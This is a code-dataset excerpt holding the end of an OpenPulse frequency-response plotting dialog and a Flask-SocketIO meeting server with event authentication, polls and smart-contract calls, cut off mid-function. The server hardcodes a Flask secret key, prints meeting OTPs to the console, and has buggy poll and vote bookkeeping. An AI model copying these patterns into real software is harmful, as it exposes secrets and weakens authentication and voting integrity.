self.pushButton_import_data = self.findChild(QPushButton, 'pushButton_import_data')\n # QRadioButton\n self.radioButton_absolute = self.findChild(QRadioButton, 'radioButton_absolute')\n self.radioButton_real = self.findChild(QRadioButton, 'radioButton_real')\n self.radioButton_imaginary = self.findChild(QRadioButton, 'radioButton_imaginary')\n self.radioButton_decibel_scale = self.findChild(QRadioButton, 'radioButton_decibel_scale')\n self.radioButton_disable_cursors = self.findChild(QRadioButton, 'radioButton_disable_cursors')\n self.radioButton_cross_cursor = self.findChild(QRadioButton, 'radioButton_cross_cursor')\n self.radioButton_harmonic_cursor = self.findChild(QRadioButton, 'radioButton_harmonic_cursor')\n self.pushButton_export_data = self.findChild(QPushButton, 'pushButton_export_data')\n # QWidget\n self.widget_plot = self.findChild(QWidget, 'widget_plot')\n\n def _create_connections(self):\n self.checkBox_grid.stateChanged.connect(self.plot_data_in_freq_domain)\n self.checkBox_legends.stateChanged.connect(self.plot_data_in_freq_domain)\n self.checkBox_cursor_legends.stateChanged.connect(self.plot_data_in_freq_domain)\n self.comboBox_plot_type.currentIndexChanged.connect(self._update_plot_type)\n self.comboBox_differentiate_data.currentIndexChanged.connect(self.plot_data_in_freq_domain)\n self.radioButton_real.clicked.connect(self._update_comboBox)\n self.radioButton_imaginary.clicked.connect(self._update_comboBox)\n self.radioButton_absolute.clicked.connect(self._update_comboBox)\n self.radioButton_decibel_scale.clicked.connect(self._update_comboBox)\n self.radioButton_disable_cursors.clicked.connect(self.update_cursor_controls)\n self.radioButton_cross_cursor.clicked.connect(self.update_cursor_controls)\n self.radioButton_harmonic_cursor.clicked.connect(self.update_cursor_controls)\n self.pushButton_import_data.clicked.connect(self.import_file)\n self.pushButton_export_data.clicked.connect(self.call_data_exporter)\n self._initial_config()\n\n def import_file(self):\n if self.importer is None:\n self.importer = ImportDataToCompare(self)\n else:\n self.importer.exec()\n\n def _initial_config(self):\n self.aux_bool = False\n self.plot_type = self.comboBox_plot_type.currentText() \n self.checkBox_cursor_legends.setChecked(False)\n self.checkBox_cursor_legends.setDisabled(True)\n self.frame_vertical_lines.setDisabled(True)\n\n def _update_comboBox(self):\n self.cache_plot_type = self.comboBox_plot_type.currentText()\n aux_real = self.radioButton_real.isChecked()\n aux_imag = self.radioButton_imaginary.isChecked()\n aux_decibel = self.radioButton_decibel_scale.isChecked()\n\n self.aux_bool = aux_real + aux_imag + aux_decibel\n if self.aux_bool:\n self.comboBox_plot_type.setDisabled(True)\n self.comboBox_plot_type.setCurrentIndex(2)\n else:\n self.comboBox_plot_type.setDisabled(False)\n self.comboBox_plot_type.setCurrentIndex(0)\n \n if self.plot_type == self.cache_plot_type:\n self.plot_data_in_freq_domain()\n \n def _update_plot_type(self):\n # if self.not_update:\n # return\n self.plot_type = self.comboBox_plot_type.currentText()\n self.plot_data_in_freq_domain()\n\n def update_cursor_controls(self):\n if self.radioButton_disable_cursors.isChecked():\n self.checkBox_cursor_legends.setChecked(False)\n self.checkBox_cursor_legends.setDisabled(True)\n self.frame_vertical_lines.setDisabled(True)\n else:\n self.checkBox_cursor_legends.setDisabled(False)\n if self.radioButton_harmonic_cursor.isChecked():\n self.frame_vertical_lines.setDisabled(False)\n self.plot_data_in_freq_domain()\n\n def _initialize_canvas(self):\n self.mpl_canvas_frequency_plot = MplCanvas(self, width=8, height=6, dpi=110)\n self.ax = self.mpl_canvas_frequency_plot.axes\n self.fig = self.mpl_canvas_frequency_plot.fig\n \n def call_data_exporter(self):\n data = self.data_to_plot[\"model\", 0]\n self.exporter = ExportModelResults()\n self.exporter._set_data_to_export(data)\n\n def imported_dB_data(self):\n self.imported_dB = True\n self.comboBox_plot_type.setCurrentIndex(2)\n self.comboBox_plot_type.setDisabled(True)\n self.radioButton_absolute.setDisabled(True)\n self.radioButton_real.setDisabled(True)\n self.radioButton_real.setChecked(True)\n self.radioButton_imaginary.setDisabled(True)\n self.radioButton_decibel_scale.setDisabled(True)\n\n def load_data_to_plot(self, data):\n if \"x_data\" in data.keys():\n self.x_data = data[\"x_data\"]\n if \"y_data\" in data.keys():\n self.y_data = self.get_y_axis_data(data[\"y_data\"])\n if \"unit\" in data.keys():\n if data[\"unit\"] != \"\":\n self.unit = data[\"unit\"]\n # if self.unit == \"dB\":\n # self.imported_dB_data()\n if \"x_label\" in data.keys():\n self.x_label = data[\"x_label\"]\n if \"y_label\" in data.keys():\n text = data[\"y_label\"]\n self.y_label = self.get_y_axis_label(text)\n if \"color\" in data.keys():\n self.color = data[\"color\"]\n if \"linestyle\" in data.keys():\n self.linestyle = data[\"linestyle\"]\n if \"legend\" in data.keys():\n self.legend = data[\"legend\"]\n if \"title\" in data.keys():\n self.title = data[\"title\"]\n\n def get_scaled_data(self, data):\n if self.radioButton_decibel_scale.isChecked():\n if self.comboBox_differentiate_data.currentIndex() != 0:\n shift = 1\n else:\n shift = 0\n self.x_data = self.x_data[shift:]\n data2 = np.real(data[shift:]*np.conjugate(data[shift:]))\n if \"Pa\" in self.unit:\n return 10*np.log10(data2/((2e-5)**2))\n else:\n return 10*np.log10(data2**2)\n else:\n return data\n\n def get_y_axis_data(self, data):\n dif_data = self.process_differentiation(data)\n if self.radioButton_real.isChecked():\n return np.real(dif_data)\n elif self.radioButton_imaginary.isChecked():\n return np.imag(dif_data)\n elif self.radioButton_absolute.isChecked():\n return np.abs(dif_data)\n else:\n return self.get_scaled_data(dif_data)\n\n def get_y_axis_label(self, label):\n \n if self.radioButton_real.isChecked():\n type_label = \"real\"\n elif self.radioButton_imaginary.isChecked():\n type_label = \"imaginary\"\n else:\n type_label = \"absolute\"\n\n if self.imported_dB:\n return f\"{label} [dB]\"\n\n unit = self.get_unit_considering_differentiation()\n if self.radioButton_decibel_scale.isChecked():\n return f\"{label} - {type_label} [dB]\"\n else:\n return f\"{label} - {type_label} [{unit}]\"\n\n def process_differentiation(self, data):\n frequencies = self.x_data\n index = self.comboBox_differentiate_data.currentIndex()\n if index == 0:\n output_data = data\n elif index == 1:\n output_data = data*(1j*2*np.pi)*frequencies\n else:\n output_data = data*((1j*2*np.pi*frequencies)**2) \n return output_data\n \n def get_unit_considering_differentiation(self):\n index = self.comboBox_differentiate_data.currentIndex()\n if index == 0:\n return self.unit\n elif index == 1:\n return self.unit + \"/s\"\n else:\n return self.unit + \"/s²\"\n\n def plot_data_in_freq_domain(self):\n\n self.ax.cla()\n self.legends = []\n self.plots = []\n\n for key, data in self.data_to_plot.items():\n self.load_data_to_plot(data)\n if self.y_data is not None:\n self.mask_x = self.x_data <= 0\n self.mask_y = self.y_data <= 0\n if self.aux_bool:\n _plot = self.call_lin_lin_plot()\n elif True in (self.mask_x + self.mask_y):\n _plot = self.get_plot_considering_invalid_log_values()\n elif \"log-log\" in self.plot_type:\n _plot = self.call_log_log_plot()\n elif \"log-y\" in self.plot_type:\n _plot = self.call_semilog_y_plot()\n elif \"log-x\" in self.plot_type:\n _plot = self.call_semilog_x_plot()\n else:\n _plot = self.call_lin_lin_plot()\n\n self.legends.append(self.legend)\n self.plots.append(_plot)\n\n if self._layout is None:\n toolbar = NavigationToolbar2QT(self.mpl_canvas_frequency_plot, self)\n self._layout = QVBoxLayout()\n self._layout.addWidget(toolbar)\n self._layout.addWidget(self.mpl_canvas_frequency_plot)\n self._layout.setContentsMargins(2, 2, 2, 2)\n self.widget_plot.setLayout(self._layout)\n\n if len(self.plots) != 0:\n\n if self.checkBox_legends.isChecked():\n self.ax.legend(handles=self.plots, labels=self.legends)\n \n self.call_cursor()\n self.ax.set_xlabel(self.x_label, fontsize = 11, fontweight = self.font_weight)\n self.ax.set_ylabel(self.y_label, fontsize = 11, fontweight = self.font_weight)\n \n if self.title != \"\":\n self.ax.set_title(self.title, fontsize = 12, fontweight = self.font_weight)\n\n if self.checkBox_grid.isChecked():\n self.ax.grid()\n\n self.mpl_canvas_frequency_plot.draw()\n return\n\n def call_semilog_y_plot(self, first_index=0):\n _plot, = self.ax.semilogy( self.x_data[first_index:], \n self.y_data[first_index:], \n linewidth = 1,\n color = self.color, \n linestyle = self.linestyle )\n return _plot\n \n def call_semilog_x_plot(self, first_index=0):\n _plot, = self.ax.semilogx( self.x_data[first_index:], \n self.y_data[first_index:], \n linewidth = 1,\n color = self.color, \n linestyle = self.linestyle )\n return _plot\n\n def call_lin_lin_plot(self):\n _plot, = self.ax.plot( self.x_data, \n self.y_data, \n linewidth = 1,\n color = self.color, \n linestyle = self.linestyle )\n return _plot\n\n def call_log_log_plot(self, first_index=0):\n _plot, = self.ax.loglog(self.x_data[first_index:], \n self.y_data[first_index:], \n linewidth = 1,\n color = self.color, \n linestyle = self.linestyle )\n return _plot\n \n def get_plot_considering_invalid_log_values(self):\n \n if \"log-log\" in self.plot_type:\n \n if True in self.mask_y[1:] or True in self.mask_x[1:]:\n _plot = self.call_lin_lin_plot()\n else:\n if self.mask_x[0] or self.mask_y[0]:\n _plot = self.call_log_log_plot(first_index=1)\n else:\n _plot = self.call_log_log_plot(first_index=0)\n\n elif \"log-x\" in self.plot_type:\n \n if True in self.mask_x[1:]:\n _plot = self.call_lin_lin_plot()\n else:\n if self.mask_x[0]:\n _plot = self.call_semilog_x_plot(first_index=1)\n else:\n _plot = self.call_semilog_x_plot(first_index=0)\n \n elif \"log-y\" in self.plot_type:\n \n if True in self.mask_y[1:]:\n _plot = self.call_lin_lin_plot()\n else:\n if self.mask_y[0]:\n _plot = self.call_semilog_y_plot(first_index=1)\n else:\n _plot = self.call_semilog_y_plot(first_index=0)\n \n else:\n \n _plot = self.call_lin_lin_plot()\n \n return _plot\n\n def call_cursor(self):\n\n show_cursor = not self.radioButton_disable_cursors.isChecked()\n show_legend = self.checkBox_cursor_legends.isChecked()\n \n if self.radioButton_harmonic_cursor.isChecked():\n number_vertLines = self.spinBox_vertical_lines.value() \n else:\n number_vertLines = 1\n\n self.cursor = AdvancedCursor( self.ax, \n self.x_data, \n self.y_data, \n show_cursor,\n show_legend,\n number_vertLines = number_vertLines )\n\n self.mouse_connection = self.fig.canvas.mpl_connect(s='motion_notify_event', func=self.cursor.mouse_move)\n\n def _set_data_to_plot(self, data):\n if isinstance(data, dict):\n self.data_to_plot[\"model\", 0] = data\n self.plot_data_in_freq_domain()\n self.exec()","repo_name":"open-pulse/OpenPulse","sub_path":"data/user_input/plots/general/frequency_response_plotter.py","file_name":"frequency_response_plotter.py","file_ext":"py","file_size_in_byte":16460,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"35"} +{"seq_id":"27518340311","text":"import json\nimport time\nfrom flask_socketio import close_room\nfrom flask_socketio import emit as emit_ws\nfrom flask_socketio import join_room, leave_room\nfrom flask import Flask\nfrom flask_cors import CORS\nfrom flask_socketio import SocketIO\nfrom enum import Enum\nimport traceback\n\nimport meeting_contract_helper\nfrom db import Database\nimport config\nfrom authorization import Role, get_role\nimport authentication\nimport copy\nimport event_schema_validator\nimport log as logger\nimport logging\nfrom model import Event, Staff, Meeting, AckErrorContent, EventError, JoinContent, DeeIdLoginSigSigned, \\\n MeetingEventType, \\\n StartContent, AckJoinContent, AckEndContent, PollContent, VoteContent, PDCContent, AckPollEndContent\n\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = 'TVBam9S&W7IbTC8W'\nsocketio = SocketIO(app)\nCORS(app)\nconfig = config.get_config()\ndb = Database(config[\"database\"][\"db_name\"], config[\"database\"][\"ip\"], config[\"database\"][\"port\"])\nhost = config[\"meeting_server\"][\"host\"]\nport = config[\"meeting_server\"][\"port\"]\n\nlog = logger.get_logger('web_server_socketio')\ntimestamp_tolerance = 10 # seconds\nongoing_meetings = {}\nauth = authentication.Auth(config)\nsmart_contract = meeting_contract_helper.MeetingContractHelper(config)\n\n\nclass OngoingMeeting:\n def __init__(self):\n self.otp = ''\n self.host = ''\n self.start_event = None\n self.events = {} # type: dict[str, Event]\n self.polls = {} # type: dict[str, Poll]\n self.unref_events = {} # type: dict[str, Event]\n self.session_keys = {} # type: dict[str, str]\n self.latest_join_events = {} # type: dict[str, Event]\n\n\nclass Poll:\n def __init__(self):\n self.votes = {} # type: dict[str, Event]\n\n\ndef start(event, staff, meeting, roles) -> (bool, dict):\n \"\"\"\n Handles the START event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing Start event\")\n # Check if the user is allowed to start\n if Role.HOST not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting has already started, if it has send the otp, in case the host has forgotten\n started, _ = validate_meeting_started(event, meeting)\n if started:\n otp = ongoing_meetings[meeting.id].otp\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MEETING_ALREADY_STARTED,\n details='Meeting already started, otp : ' + otp))\n\n # Parse the content of event as StartContent\n try:\n sc = StartContent.parse(event.content)\n dee_id_login_sig = DeeIdLoginSigSigned.parse(sc.deeid_login_sig_signed)\n new_key = sc.key\n uid = dee_id_login_sig.uid\n expiry = dee_id_login_sig.expiry_time\n sig = dee_id_login_sig.signature\n except KeyError as ke:\n log.error(ke)\n traceback.print_tb(ke.__traceback__)\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details=\"Content doesnt have sufficient values\"))\n\n # Authenticate new key\n msg = uid + staff.id + expiry + new_key\n addr = auth.get_sig_address_from_signature(msg=msg, signature=sig)\n ok = auth.ethkey_in_deeid_contract(addr, staff.id)\n if not ok:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=\"New pubKey cannot be authenticated\"))\n print(\"OTP: \", sc.otp)\n # Create new meeting session\n om = OngoingMeeting()\n om.otp = sc.otp\n om.host = staff.id\n om.start_event = event\n om.events = {event.id: event}\n om.polls = {}\n om.unref_events = {}\n om.session_keys = {\n staff.id: new_key\n }\n om.latest_join_events = []\n\n # Create smart contract for the meeting - COSTS MONEY\n log.debug(\"Deploying Smart Contract...\")\n try:\n meeting.contract_id = smart_contract.new_meeting_contract(meeting)\n except Exception as e: # We catch all exceptions as there are too many\n log.error(\"FAILED deploying smart contract\")\n log.error(e)\n traceback.print_tb(e.__traceback__)\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.INTERNAL_ERROR,\n details='Smart Contract could not be deployed'))\n\n log.debug(\"Deployed smart contract!\")\n log.debug(meeting.contract_id)\n ongoing_meetings[meeting.id] = om\n\n meeting.started = True # Set the meeting as started in the db\n meeting.start_event_id = event.id # Set the start event\n db.update_meeting(meeting.id, meeting.to_json_dict())\n\n # ACK\n ack = get_ack(event.id, event.meeting_id)\n return True, ack\n\n\ndef join(event, staff, meeting, roles) -> (bool, dict):\n \"\"\"\n Handles the JOIN event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing Join event\")\n # Check if the user is allowed to join\n if Role.PARTICIPANT not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting has started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Get Meeting session details\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n\n # Check if ref event is a start event\n if event.ref_event != meeting_session_details.start_event.id:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.INVALID_REF_EVENT,\n details='Ref Event must be the Start event'))\n\n # Parse the content of event as JoinContent\n try:\n jc = JoinContent.parse(event.content)\n dee_id_login_sig = DeeIdLoginSigSigned.parse(jc.deeid_login_sig_signed)\n new_key = jc.key\n uid = dee_id_login_sig.uid\n expiry = dee_id_login_sig.expiry_time\n sig = dee_id_login_sig.signature\n except KeyError as ke:\n log.error(ke)\n traceback.print_tb(ke.__traceback__)\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details=\"Content doesnt have sufficient values\"))\n\n # Check OTP\n if not jc.otp == meeting_session_details.otp:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.BAD_OTP,\n details=''))\n\n # Authenticate new key\n msg = uid + staff.id + expiry + new_key\n addr = auth.get_sig_address_from_signature(msg=msg, signature=sig)\n ok = auth.ethkey_in_deeid_contract(addr, staff.id)\n\n if not ok:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=\"New pubKey cannot be authenticated\"))\n\n meeting_session_details.session_keys[staff.id] = new_key\n\n # Add them to the list of staff that have joined the meeting\n update_attended_staff(meeting, staff)\n\n # Join the socketio room using the sessison_id\n join_room(meeting.id)\n\n start_event = meeting_session_details.start_event\n latest_join_events = meeting_session_details.latest_join_events\n\n # ACK\n jac = AckJoinContent(start_event, latest_join_events)\n ack = get_ack(event.id, event.meeting_id, type=MeetingEventType.ACK_JOIN, content=jac)\n return True, ack\n\n\ndef leave(event, staff, meeting):\n \"\"\"\n Handles the LEAVE event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing Leave event\")\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Check of ref event is correct\n ok, err_ack = validate_ref_event(event, meeting)\n if not ok:\n return False, err_ack\n\n leave_room(meeting.id)\n\n # ACK\n ack = get_ack(event.id, event.meeting_id)\n return True, ack\n\n\ndef end(event, staff, meeting, roles):\n \"\"\"\n Handles the END event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing End event\")\n # Check whether they should be allowed to end\n if Role.HOST not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Check if ref event is correct\n ok, err_ack = validate_ref_event(event, meeting)\n if not ok:\n return False, err_ack\n\n # Get Meeting session details\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n\n # ACK -- WE get ACK early as we need the signature for smart contract later, and there could be errors with that\n eac = AckEndContent(list(meeting_session_details.unref_events.keys()))\n ack = get_ack(event.id, event.meeting_id, type=MeetingEventType.ACK_END, content=eac)\n return True, ack\n\n\ndef poll(event, staff, meeting, roles):\n \"\"\"\n Handles the POLL event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing Poll event\")\n # Check whether they should be allowed to start a poll\n if Role.HOST not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Check of ref event is correct\n ok, err_ack = validate_ref_event(event, meeting)\n if not ok:\n return False, err_ack\n\n # Get Meeting session details\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n\n # Parsing content as PollContent\n try:\n pc = PollContent.parse(event.content)\n except KeyError as ke:\n log.error(ke)\n traceback.print_tb(ke.__traceback__)\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details=\"Content doesnt have sufficient values\"))\n\n new_poll = Poll()\n poll.votes = {}\n\n meeting_session_details.polls[event.id] = new_poll\n\n # ACK\n ack = get_ack(event.id, event.meeting_id)\n return True, ack\n\n\ndef vote(event, staff, meeting, roles):\n \"\"\"\n Handles the VOTE event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing Vote Event\")\n # Check whether they should be allowed to vote\n if Role.PARTICIPANT not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Get Meeting session details\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n\n # Check if refEvent is a poll\n poll = meeting_session_details.polls.get(event.ref_event, None)\n if poll is None:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.POLL_NOT_FOUND,\n details=''))\n\n # Parsing content as VoteContent\n try:\n vc = VoteContent.parse(event.content)\n except KeyError as ke:\n traceback.print_tb(ke.__traceback__)\n log.error(ke)\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details=\"Content doesnt have sufficient values\"))\n\n # Check if already voted\n if event.by in poll.votes:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.ALREADY_VOTED,\n details=''))\n\n log.debug(\"Adding the vote to votes\")\n poll.votes[staff.id] = event\n\n # ACK\n ack = get_ack(event.id, event.meeting_id)\n return True, ack\n\n\ndef end_poll(event, staff, meeting, roles):\n \"\"\"\n Handles END_POLL event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing End Poll event\")\n # Check whether they should be allowed to end poll\n if Role.HOST not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Get Meeting session details\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n\n # Check if refEvent is a poll\n poll = meeting_session_details.polls.get(event.ref_event, None)\n if poll is None:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.POLL_NOT_FOUND,\n details=''))\n\n vote_event_ids = [event.id for event in list(poll.votes.values())]\n poll_end_ack_event = AckPollEndContent(votes=vote_event_ids)\n\n # ACK\n ack = get_ack(event.id, meeting.id,\n type=MeetingEventType.ACK_POLL_END, content=poll_end_ack_event)\n\n # Delete poll\n meeting_session_details.polls.pop(event.ref_event)\n\n return True, ack\n\n\ndef comment_reply_disagreement(event, staff, meeting, roles):\n \"\"\"\n Handles COMMENT and REPLY and DISAGREEMENT event as they have the same protocol\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing Comment/Reply/Disagreement event\")\n # Check whether they should be allowed to vote\n if Role.PARTICIPANT not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Check of ref event is correct\n ok, err_ack = validate_ref_event(event, meeting)\n if not ok:\n return False, err_ack\n\n # ACK\n ack = get_ack(event.id, meeting.id)\n return True, ack\n\n\ndef discussion(event, staff, meeting, roles):\n \"\"\"\n Handles the DISCUSSION event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing Discussion event\")\n # Check whether they should be allowed to start discussion\n if Role.HOST not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Check of ref event is correct\n ok, err_ack = validate_ref_event(event, meeting)\n if not ok:\n return False, err_ack\n\n # ACK\n ack = get_ack(event.id, meeting.id)\n return True, ack\n\n\ndef patient_data_change(event, staff, meeting, roles):\n \"\"\"\n Handles PATIENT_DATA_CHANGE event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug(\"Processing PDC event\")\n # Check whether they should be allowed to start discussion\n if Role.HOST not in roles:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n # Check if meeting actually started\n ok, err_ack = validate_meeting_started(event, meeting)\n if not ok:\n return False, err_ack\n\n # Check if they have actually joined\n ok, err_ack = validate_join(event, staff, meeting)\n if not ok:\n return False, err_ack\n\n # Check of ref event is correct\n ok, err_ack = validate_ref_event(event, meeting)\n if not ok:\n return False, err_ack\n\n # Parsing content as VoteContent\n try:\n pdc = PDCContent.parse(event.content)\n except KeyError as ke:\n traceback.print_tb(ke.__traceback__)\n log.error(ke)\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details=\"Content doesnt have sufficient values\"))\n\n # Check if patient actually exists\n patient_id = pdc.patient\n patient = db.get_patient(patient_id)\n if patient is None:\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.PATIENT_NOT_FOUND,\n details=''))\n\n # ACK\n ack = get_ack(event.id, meeting.id)\n return True, ack\n\n\ndef sign(event: Event):\n \"\"\"\n signs an event\n :return: signed Event\n \"\"\"\n signed_event = auth.sign_event(event.to_json_dict())\n return Event.parse(signed_event)\n\n\ndef send(signed_event, broadcast_room=None):\n \"\"\"\n Broadcasts an event on a room\n \"\"\"\n if broadcast_room is None:\n emit_ws('room-message', signed_event)\n else:\n emit_ws('room-message', signed_event, room=broadcast_room)\n\n\ndef update_attended_staff(meeting: Meeting, staff: Staff):\n \"\"\"\n Updates the Database with staff members who have attended the meeting\n \"\"\"\n if staff.id not in meeting.attended_staff:\n meeting.attended_staff.append(staff.id)\n db.update_meeting(meeting.id, meeting.to_json_dict())\n\n\ndef record(event: Event, meeting: Meeting):\n \"\"\"\n Records an event into the database\n \"\"\"\n log.debug(\"Storing: \" + event.id)\n log.debug(event)\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n meeting_session_details.events[event.id] = event\n db.insert_event(event.to_json_dict())\n\n\ndef get_error_ack(ref_event, meeting_id, content=None):\n \"\"\"\n Helper function to get a pre populated ACK_ERR Event\n :return: an Event with type as ACK_ERR\n \"\"\"\n ack_event = Event()\n ack_event.type = MeetingEventType.ACK_ERR\n ack_event.meeting_id = meeting_id\n ack_event.ref_event = ref_event\n ack_event.timestamp = int(time.time())\n\n if content is None:\n content = {}\n ack_event.content = content\n return ack_event\n\n\ndef get_ack(ref_event, meeting_id, type=MeetingEventType.ACK, content=None):\n \"\"\"\n Helper function to get a pre populated ACK Event\n :return: an Event with type as ACK\n \"\"\"\n ack_event = Event()\n ack_event.type = type\n ack_event.meeting_id = meeting_id\n ack_event.ref_event = ref_event\n ack_event.timestamp = int(time.time())\n\n if content is None:\n content = {}\n ack_event.content = content\n return ack_event\n\n\ndef add_event_as_unref(meeting: Meeting, event: Event):\n \"\"\"\n Appends the set of unreferenced events\n \"\"\"\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n meeting_session_details.unref_events[event.id] = None\n\n\ndef check_and_remove_ref_event(meeting, ref_event):\n \"\"\"\n Checks if the event exists, and removes it from the set of unreferenced events\n \"\"\"\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n meeting_session_details.unref_events.pop(ref_event, None)\n\n\ndef validate_ref_event(event, meeting) -> (bool, dict):\n \"\"\"\n Validates a reference event (checks if it exists)\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n ref_valid = event.ref_event in meeting_session_details.events\n\n if not ref_valid:\n err_ack = get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.INVALID_REF_EVENT,\n details=''))\n return False, err_ack\n return True, None\n\n\ndef validate_meeting_started(event: Event, meeting: Meeting) -> (bool, dict):\n \"\"\"\n Validates if a meeting has started or not\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n meeting_started = meeting.id in ongoing_meetings\n if not meeting_started:\n err_ack = get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MEETING_NOT_STARTED,\n details=''))\n return False, err_ack\n\n return True, None\n\n\ndef validate_join(event, staff, meeting) -> (bool, dict):\n \"\"\"\n Validates if a staff has joined the meeting or not\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n joined = staff.id in meeting.attended_staff\n if not joined:\n err_ack = get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MEETING_NOT_JOINED,\n details=''))\n 